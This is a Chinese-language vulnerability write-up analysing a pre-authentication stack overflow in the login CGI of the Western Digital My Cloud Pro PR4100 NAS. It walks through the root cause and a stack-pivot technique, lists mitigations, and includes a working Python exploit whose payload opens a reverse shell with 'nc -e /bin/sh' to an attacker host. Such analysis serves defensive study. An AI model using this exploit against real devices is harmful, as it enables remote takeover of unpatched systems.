sakuraの从零开始のIoT漏洞挖掘系列(一): Western Digital My Cloud Pro系列PR4100 NAS认证前RCE漏洞分析与利用
字数 1589 2025-08-10 08:28:35
Western Digital My Cloud Pro PR4100 NAS 认证前RCE漏洞分析与利用
一、漏洞概述
本漏洞存在于Western Digital My Cloud Pro系列PR4100 NAS设备中,是一个认证前的远程代码执行漏洞。该漏洞从固件版本2.31.204开始存在,直到5.04.114版本才被修复,影响时间跨度长达一年。
漏洞类型:栈溢出导致的远程代码执行
影响组件:/cgi-bin/login_mgr.cgi
攻击前提:无需认证
CVSS评分:9.8(临界)
二、攻击面分析
1. 服务枚举
通过分析设备的网络服务,发现以下关键服务:
Active Internet connections (only servers)
Proto Local Address Foreign Address State PID/Program name
tcp 0.0.0.0:443 0.0.0.0:* LISTEN 3320/httpd
tcp 0.0.0.0:80 0.0.0.0:* LISTEN 3320/httpd
tcp 0.0.0.0:8181 0.0.0.0:* LISTEN 1609/restsdk-server
tcp 0.0.0.0:22 0.0.0.0:* LISTEN 2761/sshd
2. Apache配置分析
关键配置文件:
alias.conf:定义了CGI脚本的路径映射rewrite.conf:定义了URL重写规则
重写规则关键部分:
<Directory "/var/www/cgi-bin/">
RewriteCond %{REMOTE_ADDR} !^127\.0\.0\.1$
RewriteCond $1 !^abFiles$
RewriteRule ^(\w*).cgi$ /web/cgi_api.php?cgi_name=$1&%{QUERY_STRING} [L]
</Directory>
认证前可访问的CGI脚本:
webpipe.cgi(内部有鉴权)login_mgr.cgi(主要攻击目标)
三、漏洞分析
1. 漏洞位置
漏洞存在于login_mgr.cgi的wd_login函数中,具体是处理用户登录时的密码验证逻辑。
2. 漏洞触发流程
-
用户提交登录请求:
POST /cgi-bin/login_mgr.cgi HTTP/1.1 ... cmd=wd_login&username=admin&pwd=YWRtaW4%3D&port= -
wd_login函数处理流程:- 读取用户名(最大32字节)
- 读取密码(base64编码,最大256字节)
- 对密码进行base64解码
- 检查用户名合法性
- 调用
check_login验证密码
3. 漏洞成因
关键问题点:
-
base64解码缓冲区溢出:
pwd_decoded数组大小:64字节- 但base64解码允许最大192字节输出(256*3/4)
- 导致缓冲区溢出到相邻的
pwd_b64数组
-
strcpy栈溢出:
- 在
check_login函数中:char password_copy_input[88]; strcpy(password_copy_input, pwd_decoded); - 允许写入最多192字节到88字节的栈缓冲区
- 可以覆盖返回地址(偏移120字节)
- 在
栈布局:
-00000000000000C8 password_copy_shadow db 80 dup(?)
-0000000000000078 password_copy_input db 120 dup(?)
+0000000000000000 r db 8 dup(?) <-- 返回地址
四、漏洞利用
1. 利用限制
- 64位地址包含NULL字节(如0x00401D00)
- strcpy会在NULL字节处截断
- 只能覆盖返回地址,无法连续写入更多数据
2. 利用技术:栈抬升(Stack Pivot)
关键gadget:
.text:00000000004039B7 lea rdi, [rsp]
.text:00000000004039BB call _system
.text:00000000004039C0 xor eax, eax
.text:00000000004039C2 lea rsp, [rsp+108h]
.text:00000000004039CA retn
利用步骤:
-
构造payload:
- 120字节填充
- gadget地址(0x4039B7)
- 要执行的命令字符串
-
执行流程:
- 覆盖返回地址为gadget地址
- 第一次执行:调用system(无效命令),栈抬升0x108
- RSP指向payload中的命令字符串
- 第二次执行:调用system(我们的命令)
3. 完整利用
Payload结构:
[A*120][p64(0x4039B7)][command_string]
示例反弹shell:
import requests
import base64
# 构造恶意密码
payload = b'A'*120
payload += b'\xB7\x39\x40\x00\x00\x00\x00\x00' # 0x4039B7
payload += b'nc -e /bin/sh attacker_ip 4444'
# base64编码
encoded_payload = base64.b64encode(payload).decode('utf-8')
# 发送恶意请求
data = {
'cmd': 'wd_login',
'username': 'admin',
'pwd': encoded_payload
}
response = requests.post('http://target/cgi-bin/login_mgr.cgi', data=data)
五、防御措施
-
厂商修复方案:
- 增加输入长度检查
- 使用安全的字符串操作函数(如strncpy)
- 升级到固件版本5.04.114或更高
-
临时缓解措施:
- 禁用Web界面
- 使用防火墙限制访问
- 修改默认密码
六、漏洞挖掘方法论
-
攻击面枚举:
- 使用netstat分析开放服务
- 检查配置文件(特别是apache/nginx)
- 分析进程列表(ps -ef)
-
重点检查:
- CGI程序
- 未认证可访问的接口
- 缓冲区操作(strcpy, sprintf等)
-
漏洞模式识别:
- 输入长度未校验
- 不安全的字符串操作
- 多层传递的缓冲区溢出
七、参考资源
-
原始漏洞报告:
-
相关技术文档:
- Apache mod_alias文档
- 64位ROP技术
- Stack Pivot技术
-
受影响固件:
通过本案例,我们可以学习到IoT设备中常见的漏洞模式以及如何利用栈溢出漏洞实现远程代码执行。关键点在于理解缓冲区溢出的传播路径和64位环境下的ROP利用技术。